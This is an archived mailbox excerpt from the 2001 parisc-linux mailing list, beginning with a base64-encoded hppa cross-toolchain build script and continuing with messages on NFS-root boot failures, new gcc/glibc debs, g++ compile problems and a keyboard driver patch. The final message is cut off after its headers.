L3NvdXJjZQ0KQlVJTEQ9JEhPTUUvYnVpbGQNCkRFU1Q9JEhPTUUvb3B0L3B1
ZmZpbg0KUEFUSD0kUEFUSDokREVTVC9iaW4NCkNWU1JPT1Q9Ijpwc2VydmVy
OmFub255bW91c0BwdWZmaW4uZXh0ZXJuYWwuaHAuY29tOi9ob21lL2N2cy9w
YXJpc2MiDQoNCiNjbGVhbiB1cCBhbmQgaW5pdGlhbGl6ZSBkaXJlY3Rvcnkg
c3RydWN0dXJlcw0Kcm0gLXJmICRTT1VSQ0UNCnJtIC1yZiAkQlVJTEQNCnJt
IC1yZiAkREVTVA0KbWtkaXIgLXAgJFNPVVJDRQ0KbWtkaXIgLXAgJEJVSUxE
DQoNCiNsb2dpbiB0byB0aGUgQ1ZTIHNlcnZlciBhbmQgZ2V0IHRoZSBnb29k
cw0KY3ZzIC1kICRDVlNST09UIGxvZ2luDQpjZCAkU09VUkNFDQpjdnMgLXo5
IC1kICRDVlNST09UIGNoZWNrb3V0IGJpbnV0aWxzIGdjYyBsaW51eCBnbGli
YyBwYWxvIHx8IGV4aXQNCg0KI2NvbmZpZ3VyZSBhbmQgYnVpbGQgYmludXRp
bHMgDQpta2RpciAtcCAkQlVJTEQvYmludXRpbHMgDQpjZCAkQlVJTEQvYmlu
dXRpbHMgDQokU09VUkNFL2JpbnV0aWxzL2NvbmZpZ3VyZSAtLWhvc3Q9JE1B
Q0ggLS1wcmVmaXg9JERFU1QgLS10YXJnZXQ9aHBwYS1saW51eCBcDQotLWVu
YWJsZS10YXJnZXRzPWhwcGE2NC1saW51eCAtLWRpc2FibGUtbmxzIHx8IGV4
aXQNCm1ha2UgfHwgZXhpdA0KbWFrZSBpbnN0YWxsIHx8IGV4aXQNCmNkICRI
T01FDQoNCiNjb25maWd1cmUgYW5kIGJ1aWxkIGdjYyAtLSBQYXJ0IDENCmNk
ICRTT1VSQ0UvZ2NjDQokU09VUkNFL2djYy9jb250cmliL2djY191cGRhdGUg
LS10b3VjaA0KbWtkaXIgLXAgJEJVSUxEL2djYw0KY2QgJEJVSUxEL2djYw0K
JFNPVVJDRS9nY2MvY29uZmlndXJlIC0taG9zdD0kTUFDSCAtLXByZWZpeD0k
REVTVCAtLXRhcmdldD1ocHBhLWxpbnV4IFwNCi0tZW5hYmxlLXNoYXJlZCAt
LWRpc2FibGUtbmxzIHx8IGV4aXQNCnJtIC1yZiB6bGliIGhwcGEtbGludXgN
Cm1ha2UgTEFOR1VBR0VTPWMgfHwgZXhpdA0KbWFrZSBMQU5HVUFHRVM9YyBp
bnN0YWxsIHx8IGV4aXQNCmNkICRIT01FDQoNCiNVbnBhY2sgdGhlIGtlcm5l
bCBhbmQgbWFrZSB0aGUgaGVhZGVyIGZpbGVzIGdsaWJjIG5lZWRzLg0KY2Qg
JFNPVVJDRS9saW51eA0KbWFrZSBvbGRjb25maWcgfHwgZXhpdA0KI21ha2Ug
bWVudWNvbmZpZw0KbWFrZSBkZXAgfHwgZXhpdA0KY2QgJEhPTUUNCg0KI2Nv
bmZpZ3VyZSBhbmQgYnVpbGQgZ2xpYmMNCm1rZGlyIC1wICRCVUlMRC9nbGli
Yw0KY2QgJEJVSUxEL2dsaWJjDQokU09VUkNFL2dsaWJjL2NvbmZpZ3VyZSAt
LWhvc3Q9aHBwYS1saW51eCAtLWJ1aWxkPSRNQUNIIFwNCi0tcHJlZml4PSRE
RVNUL2hwcGEtbGludXggLS13aXRoLWhlYWRlcnM9JFNPVVJDRS9saW51eC9p
bmNsdWRlIFwNCi0tZGlzYWJsZS1wcm9maWxlIC0td2l0aG91dC1jdnMgLS1l
bmFibGUtYWRkLW9ucyB8fCBleGl0DQptYWtlIHx8IGV4aXQNCm1ha2UgaW5z
dGFsbCB8fCBleGl0DQpjZCAkSE9NRSANCmxuIC1zZiAkU09VUkNFL2xpbnV4
L2luY2x1ZGUvbGludXggJERFU1QvaHBwYS1saW51eC9pbmNsdWRlDQpsbiAt
c2YgJFNPVVJDRS9saW51eC9pbmNsdWRlL2FzbSAkREVTVC9ocHBhLWxpbnV4
L2luY2x1ZGUNCg0KI2NvbmZpZ3VyZSBhbmQgYnVpbGQgdGhlIHJlc3Qgb2Yg
Z2NjIA0KY2QgJEJVSUxEL2djYw0KJFNPVVJDRS9nY2MvY29uZmlndXJlIC0t
aG9zdD0kTUFDSCAtLXByZWZpeD0kREVTVCAtLXRhcmdldD1ocHBhLWxpbnV4
IFwNCi0tZW5hYmxlLXNoYXJlZCAtLWRpc2FibGUtbmxzIHx8IGV4aXQNCm1h
a2UgfHwgZXhpdA0KbWFrZSBpbnN0YWxsIHx8IGV4aXQNCmNkICRIT01FDQoN
CiNidWlsZCB0aGUga2VybmVsDQpjZCAkU09VUkNFL2xpbnV4DQojI3BpY28g
Li4vcGFsby9NYWtlZmlsZQ0KbWFrZSBwYWxvIHx8IGV4aXQNCmNkICRIT01F
DQo=
--0-1152337369-985199639=:15374--




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Liesenfeld <xunil96@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Init not found on 735/125?
Date: Wed, 21 Mar 2001 17:19:55 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20010322011955.17416.qmail@web5503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619964 16917 80.91.229.3 (22 Nov 2014 01:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 18:19:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web5503.mail.yahoo.com (web5503.mail.yahoo.com [216.115.106.186])
	by dsl2.external.hp.com (Postfix) with SMTP id 242044A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 18:19:56 -0700 (MST)
Original-Received: from [24.167.216.227] by web5503.mail.yahoo.com; Wed, 21 Mar 2001 17:19:55 PST
Xref: news.gmane.org gmane.linux.ports.parisc:10564

I'm much closer to being able to install palinux on my 735/125...at the moment, the main problem
I'm having is this:

VFS: Mounted root (nfs filesystem) readonly.
Kernel panic: No init found.  Try passing init= option to kernel.

The NFS root fs is on my boot server, in /tftpboot/192.168.2.18.  The kernel successfully gets its
address (.2.18), and appears to mount the directory just fine...any ideas why it can't find
/sbin/init?

I've even tried passing init=/sbin/init on the kernel commandline (using palo/mklifimage).

-R


__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail. 
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New toolchain debs and ftp reorg
Date: Wed, 21 Mar 2001 20:04:50 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <20010322030450.4898538145@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619965 16921 80.91.229.3 (22 Nov 2014 01:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:45 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com
To: parisc-linux@parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 20:02:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 809454A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 20:02:46 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 980CDCCB; Wed, 21 Mar 2001 22:02:16 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4898538145; Wed, 21 Mar 2001 20:04:50 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10565

Hi parisc-linux'ers,

Quite a bit has changed with the toolchain in the last few weeks. I seem to be 
building new binutils/gcc/glibc packages almost every day. Rather than 
continually swap the debs out of the normal directory on the ftp site I've 
started putting the toolchain in it's own directory. As of today we seem to 
have a fairly stable(knock on wood) set of debs, available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/newcompilers-20010321/

I encourage everyone to grab a new toolchain. In particular people with PCXT 
systems(715/old,725/735/755,others) will want to grab the new libc6 packages 
which enable these systems to start working.

The new gcc debs are based on the gcc-3.0 experimental debian packages and are 
designed to co-exist with other versions of gcc on the system. This has a 
couple implications for us,

- The packages do not conflict with the old gcc packages
   You will need to dpkg -r all older gcc related packages
- some binaries install with a -3.0 prefix
   At least you will need to,
     cd /usr/bin
     mv cpp cpp.old;ln -s cpp-3.0 cpp
     mv g++ g++.old;ln -s g++-3.0 g++
     mv g77 g77.old;ln -s g77-3.0 g77
     mv gcc gcc.old;ln -s gcc-3.0 gcc

There is a gcc-defaults package that fixes these and I will try and get that 
working on hppa soon. When the need arises to do new compilers they will get a 
new directory.

With all the changes in the toolchain recently there are a couple that we 
really want(but not *need*) to recompile all packages for. So the most current 
versions of everything we've built up to this point are available in,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/debs-old/

The latest versions of everything from here on out will be available in,

ftp://puffin.external.hp.com/pub/parisc/binaries/debian/debs/

until we change it to something else :) Most of the debs in deb-old/ still 
work but as things get rebuilt and put in debs/ I will move them to the 
debs-old/old subdirectory.

All these directories are not yet apt-get'able. I may set that up if I get 
time. Also none of these debs are in the official debian tree yet. I suspect 
uploads will start once the build daemon is up and running.

Hopefully this makes sense. Please let me know if you have questions/problems.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Init not found on 735/125?
Date: Wed, 21 Mar 2001 20:06:51 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20010322030651.33A5B38145@carmen.fc.hp.com>
References: <20010322011955.17416.qmail@web5503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619965 16922 80.91.229.3 (22 Nov 2014 01:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Robert Liesenfeld <xunil96@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 20:04:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id B636F4A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 20:04:17 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 4FF975D8; Wed, 21 Mar 2001 22:04:17 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 33A5B38145; Wed, 21 Mar 2001 20:06:51 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 21 Mar 2001 17:19:55 PST."
             <20010322011955.17416.qmail@web5503.mail.yahoo.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10566

Robert Liesenfeld writes...

> I'm much closer to being able to install palinux on my 735/125...at the momen
> t, the main problem
> I'm having is this:
[snip]

You could try using sash as init and see if you get further. I think this is 
the same problem as Richard mentioned in,

http://lists.parisc-linux.org/pipermail/parisc-linux/2001-March/012025.html

It's solved by a new glibc that's 16 byte aligned. See the message I just sent 
out about where to get the new glibc debs from.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new g++ debs and oddities...
Date: Wed, 21 Mar 2001 21:35:41 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20010321213541.A6912@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619965 16926 80.91.229.3 (22 Nov 2014 01:32:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 21:37:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from phnxpop5.phnx.uswest.net (mail.phnx.uswest.net [206.80.192.5])
	by dsl2.external.hp.com (Postfix) with SMTP id 1F4BE4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 21:37:31 -0700 (MST)
Original-Received: (qmail 88304 invoked by uid 0); 22 Mar 2001 04:37:29 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by mail.phnx.uswest.net with SMTP; 22 Mar 2001 04:37:29 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14fwp3-0001oi-00; Wed, 21 Mar 2001 21:35:41 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10567

So I've been playing with taggart's new g++ debs. definitely work a lot
better than the old ones, but still seeing some weird behavior:

1. i'm compiling apt, and got a problem with undefined symbols for
things like Hashes::Add(). Now, Hashes::Add is an inline method defined
in hashes.h .... moving that to a non-inlined method in the .cc resolves
the undefined symbol problem... seems like a compiler bug?

I'm compiling with -g -O0 -DHAVE_CONFIG_H -D_REENTRANT -fno-rtti -fpermissive

2. I'm getting a lot of warnings like this that weren't there with 2.97.
Not sure what the deal is yet:

/home/randolph/cvs/apt/build/include/apt-pkg/configuration.h: In member
   function `int Configuration::FindI(std::basic_string<char,
   std::char_traits<char>, std::allocator<char> >, bool) const':
   /home/randolph/cvs/apt/build/include/apt-pkg/configuration.h:75: warning: choosing 
   `int Configuration::FindI(const char*, int) const' over `int
   Configuration::FindI(std::basic_string<char, std::char_traits<char>, 
   std::allocator<char> >, bool) const'
/home/randolph/cvs/apt/build/include/apt-pkg/configuration.h:75: warning:
   because worst conversion for the former is better than worst conversion for
   the latter

Ideas?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new FS of ESIEE Team is ready
Date: Thu, 22 Mar 2001 04:52:46 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010322045246.N5491@parcelfarce.linux.theplanet.co.uk>
References: <3AB7AA9F.985576AA@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619966 16929 80.91.229.3 (22 Nov 2014 01:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:46 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	Giacomo Mulas <gmulas@ca.astro.it>,
	=?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>,
	William Carlsson <william.carlsson@teligent.se>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 21:52:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 463B34A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 21:52:53 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14fx5a-00085V-00; Thu, 22 Mar 2001 04:52:46 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3AB7AA9F.985576AA@esiee.fr>; from marteaut@esiee.fr on Tue, Mar 20, 2001 at 08:08:15PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10568

On Tue, Mar 20, 2001 at 08:08:15PM +0100, Thomas Marteau wrote:
> Hi all,
> 
> 	The new FS is ready (~61MB). No "more" bugged with the good TERM parameter and
> no password :)
> It is a specially designed for 712 owners but it is a sane fs, we hope.
> 
> Please, go to our DL page: http://mkhppa1.esiee.fr/en/download.html

Hi Thomas.  I tried your package on a J7k here.  You've set /dev/console
to be a symlink to tty0.  Please don't do this, the kernel is supposed to
be able to handle /dev/console by itself, and select either STI console
or serial console as appropriate.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: new g++ debs and oddities...
Date: Thu, 22 Mar 2001 15:55:05 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103221549120.11752-100000@front.linuxcare.com.au>
References: <20010321213541.A6912@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619966 16934 80.91.229.3 (22 Nov 2014 01:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 21:55:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 351F34A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 21:55:20 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA19300;
	Thu, 22 Mar 2001 15:55:05 +1100
In-Reply-To: <20010321213541.A6912@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10569

On Wed, 21 Mar 2001, Randolph Chung wrote:

> Ideas?

None, sorry.  I don't speak c++, at least not intelligibly.





From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Keyboard cleanup
Date: Wed, 21 Mar 2001 22:17:43 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <E14fxTj-00036B-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619966 16945 80.91.229.3 (22 Nov 2014 01:32:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 22:17:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2A794A19
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 22:17:43 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel1.hp.com (Postfix) with ESMTP id 804C2B74
	for <parisc-linux@parisc-linux.org>; Thu, 22 Mar 2001 00:17:43 -0500 (EST)
Original-Received: from chrysl (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 385E35A992
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 22:17:43 -0700 (MST)
Original-Received: from willy by chrysl with local (Exim 3.12 #1 (Debian))
	id 14fxTj-00036B-00
	for <parisc-linux@parisc-linux.org>; Wed, 21 Mar 2001 22:17:43 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10570

we're getting a big pile of warnings:

hp_keyb.c:282: warning: (near initialization for `high_keys')

and it seems to be because the array we're initialising is of size 0
(128 - SC_LIM).  the following patch seems to DTRT, but i would appreciate
someone who has a (non-HIL) keyboard testing it and confirming it works.

Index: drivers/char/hp_keyb.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/char/hp_keyb.c,v
retrieving revision 1.3
diff -u -p -r1.3 hp_keyb.c
--- hp_keyb.c	2000/11/16 20:37:43	1.3
+++ hp_keyb.c	2001/03/22 05:10:35
@@ -246,7 +246,7 @@ unsigned char hp_ps2kbd_sysrq_xlate[128]
  * they needed not before. It does not matter that there are duplicates, as
  * long as no duplication occurs for any single keyboard.
  */
-#define SC_LIM 128
+#define SC_LIM 59
 
 #define FOCUS_PF1 85           /* actual code! */
 #define FOCUS_PF2 89




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new g++ debs and oddities...
Date: Wed, 21 Mar 2001 23:32:19 -0700
Lines: 58
Approved: news@gmane.org
Message-ID: <20010321233219.B6912@tausq.org>
References: <20010321213541.A6912@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619967 16952 80.91.229.3 (22 Nov 2014 01:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 23:34:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from phnxpop4.phnx.uswest.net (phnxpop4.phnx.uswest.net [206.80.192.4])
	by dsl2.external.hp.com (Postfix) with SMTP id 707F94A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 23:34:43 -0700 (MST)
Original-Received: (qmail 89864 invoked by alias); 22 Mar 2001 06:34:12 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 89841 invoked by uid 0); 22 Mar 2001 06:34:11 -0000
Original-Received: from dslpppa9.phnx.uswest.net (HELO gandalf.tausq.org) (63.224.146.10)
  by phnxpop4.phnx.uswest.net with SMTP; 22 Mar 2001 06:34:11 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 14fydv-0001sq-00; Wed, 21 Mar 2001 23:32:19 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010321213541.A6912@tausq.org>; from randolph@tausq.org on Wed, Mar 21, 2001 at 09:35:41PM -0700
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Xref: news.gmane.org gmane.linux.ports.parisc:10571

In reference to a message from Randolph Chung, dated Mar 21:
> So I've been playing with taggart's new g++ debs. definitely work a lot
> better than the old ones, but still seeing some weird behavior:
> 
> 1. i'm compiling apt, and got a problem with undefined symbols for
> things like Hashes::Add(). Now, Hashes::Add is an inline method defined
> in hashes.h .... moving that to a non-inlined method in the .cc resolves
> the undefined symbol problem... seems like a compiler bug?
> 
> I'm compiling with -g -O0 -DHAVE_CONFIG_H -D_REENTRANT -fno-rtti -fpermissive

compiling with -O1 or -O2 fixes this....

> 2. I'm getting a lot of warnings like this that weren't there with 2.97.
> Not sure what the deal is yet:
> 
> /home/randolph/cvs/apt/build/include/apt-pkg/configuration.h: In member
>    function `int Configuration::FindI(std::basic_string<char,
>    std::char_traits<char>, std::allocator<char> >, bool) const':
>    /home/randolph/cvs/apt/build/include/apt-pkg/configuration.h:75: warning: choosing 
>    `int Configuration::FindI(const char*, int) const' over `int
>    Configuration::FindI(std::basic_string<char, std::char_traits<char>, 
>    std::allocator<char> >, bool) const'
> /home/randolph/cvs/apt/build/include/apt-pkg/configuration.h:75: warning:
>    because worst conversion for the former is better than worst conversion for
>    the latter

compiling with -O1 or -O2 eliminates these warnings as well... 

after lots of changes i got apt to compile with the new compilers,
however, the binaries segfault immediately on startup. i'm not sure
what's happening yet. they are dying in _start-0x??? (when i matched IAOQ
against objdump output).... looks like some kind of jump table?

000025d0 <_start-0x360>:
    25d0:       2b 60 00 00     addil 0,dp,%r1
    25d4:       48 35 0f 00     ldw 780(sr0,r1),r21
    25d8:       ea a0 c0 00     bv r0(r21)
    [...]
    288c:       48 33 0b a8     ldw 5d4(sr0,r1),r19
    2890:       2b 60 00 00     addil 0,dp,%r1
    2894:       48 35 0e 90     ldw 748(sr0,r1),r21       <--- segfaulting here
    2898:       ea a0 c0 00     bv r0(r21)

other C++ apps seem to work fine -- i've tried a simple "hello world" and the
more complex bonnie++ so far... i wonder if it matters that apt links in
c++ libraries of its own? of course, apt also uses a lot more c++
features like templates and such.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^




From - Thu Nov 08 21:16:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new g++ debs and oddities...
Date: Thu, 22 Mar 2001 17:42:45 +1100 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103221740220.11752-100000@front.linuxcare.com.au>
References: <20010321233219.B6912@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619967 16955 80.91.229.3 (22 Nov 2014 01:32:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 23:42:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3C4B4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 23:42:50 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id RAA22623;
	Thu, 22 Mar 2001 17:42:45 +1100
In-Reply-To: <20010321233219.B6912@tausq.org>
Xref: news.gmane.org gmane.linux.ports.parisc:10572

